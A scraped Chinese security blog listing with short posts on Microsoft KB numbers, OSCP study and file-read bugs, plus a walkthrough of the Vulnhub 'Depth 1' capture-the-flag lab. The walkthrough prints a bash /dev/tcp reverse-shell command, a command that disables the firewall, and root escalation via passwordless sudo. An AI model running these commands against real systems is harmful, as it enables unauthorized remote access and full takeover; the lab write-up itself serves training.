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<a class="post-title-link" href="/2018-01-17-What's-Microsoft-KB-Number/" itemprop="url">微软安全编号</a></h1>
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<p>KB 代表着知识库（<em>Knowledge base</em>）微软的<em>KB Number</em>代表着<em>hotfix</em>，并且对应着一篇微软的知识库文章。所有的<em>hotfix</em>都有对应的文章，但并不是所有的文章都有对应的<em>hotfix</em>。</p>
<p><em>MS bulletin</em>是微软官方安全问题简报。如果安全简报涉及到了<em>hotfix</em>，那自然会有着对应的<em>KB</em>编号的文章。</p>
<p>微软官方有许多<em>hotfix</em>，大多数是安全无关的，所以不需要<em>MS</em>编号。</p>
<h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><ol>
<li><a href="https://social.technet.microsoft.com/Forums/en-US/1dc07926-0735-442c-aab4-3c3102b5821d/windows-updates-kb-vs-ms-bulliten-what-is-the-difference?forum=configmanagersecurity" target="_blank" rel="external">Windows Updates - KB vs MS Bulliten - What is the difference? </a></li>
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<a class="post-title-link" href="/2018-01-12-Remote-File-Inclusion/" itemprop="url">文件读取漏洞利用思路</a></h1>
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<p>当你在渗透测试过程中发现了一个文件读取漏洞，如何将其充分利用呢?</p>
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<a class="post-title-link" href="/2018-01-07-Oscp-Learn/" itemprop="url">OSCP学习总结</a></h1>
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<p>如果你的英语听力真的很赞，那直接看视频吧。个人建议直接拿起<em>PDF</em>进行阅读实操。</p>
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<a class="post-title-link" href="/2018-01-05-Depth-1-Vulnhub/" itemprop="url">Depth 1-Vulnhub</a></h1>
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<h2 id="Depth-1"><a href="#Depth-1" class="headerlink" title="Depth 1"></a>Depth 1</h2><p>访问主页面发现网站是<em>tomcat8</em>和<em>Jsp</em>搭建的，尝试暴力破解登录<em>manger/html</em>页面无果。接着爬了一会儿整个网站页面，发现有个<em>test.jsp</em>页面，并且可以执行部分系统命令。</p>
<h3 id="脑洞、经验、思维"><a href="#脑洞、经验、思维" class="headerlink" title="脑洞、经验、思维"></a>脑洞、经验、思维</h3><p>在<em>test.jsp</em>页面进行测试，发现只能执行<em>ls</em>和<em>cat</em>命令，当前用户是<em>tomcat</em>，权限非常低，无法建立文件。接下来确实是烧脑洞的时刻，使用<em>burp</em>进行<em>fuzz</em>是最好的选择（<em>逃，我跑去翻答案了</em>）。</p>
<p>经过一番尝试后，我发现<em>/home</em>目录下有个账号是<em>bill</em>，当然我没有发现能够直接<em>ssh bill@localhost</em>。众所周知的<em>ssh</em>是可以带上<em>command</em>。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ ssh bill@localhost bash -i >&/dev/tcp/192.168.199.130/1122 0>&1</div></pre></td></tr></table></figure>
<p>尝试弹一波<em>shell</em>，结果没有任何反应。这个时候就靠经验了，可能是防火墙？接着关防火墙试试</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ ssh bill@localhost sudo ufw <span class="built_in">disable</span></div></pre></td></tr></table></figure>
<p>再弹一波，成功<em>getshell</em>。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line">$ whoami</div><div class="line">bill</div><div class="line">$ sudo <span class="_">-l</span></div><div class="line">Matching Defaults entries <span class="keyword">for</span> bill on b2r:</div><div class="line"> env_reset, mail_badpass,</div><div class="line"> secure_path=/usr/<span class="built_in">local</span>/sbin\:/usr/<span class="built_in">local</span>/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</div><div class="line"></div><div class="line">User bill may run the following commands on b2r:</div><div class="line"> (ALL : ALL) NOPASSWD: ALL</div></pre></td></tr></table></figure>
<p>最后一行<strong>*(ALL : ALL) NOPASSWD: ALL</strong>是重点，能够以任何身份执行任何命令，不需要密码。该行的格式其实就是<em>/etc/sudoers/</em>文件的语法。有兴趣的可以参阅我的<a href="http://1person.me/2017-12-31-lucky-to-get-root/#more" target="_blank" rel="external">碰巧就成为了root</a>文章了解更多细节。</p>
<p>既然不需要密码，那就<em>sudo su</em>喽。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">$ sudo su</div><div class="line">whoami</div><div class="line">root</div></pre></td></tr></table></figure>
<p>最后找下<em>flag</em>喽，打开<em>/root</em>目录，访问<em>flag</em>。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">$ cat /root/flag</div><div class="line">flag{WellThatWasEasy}</div></pre></td></tr></table></figure>
<h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>该题目是由作者在实战中遇到的一次<em>demo</em>。在拿到一个能执行部分命令的<em>web</em>页面时，如何进一步的获取到最高权限是需要经验、耐心、细心结合的。</p>
<p>收获，亦可称为知识盲区，<em>Sudo -l</em>和<em>UFW</em>以及<em>Iptables</em>，有机会聊聊<em>ufw</em>、<em>iptables</em>和<em>socat</em>。</p>
<p><em>Happy Hacking</em></p>
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<p>用<em>nc</em>吗？不存在的。<em>LCX</em>不错，下次可以讲讲。</p>
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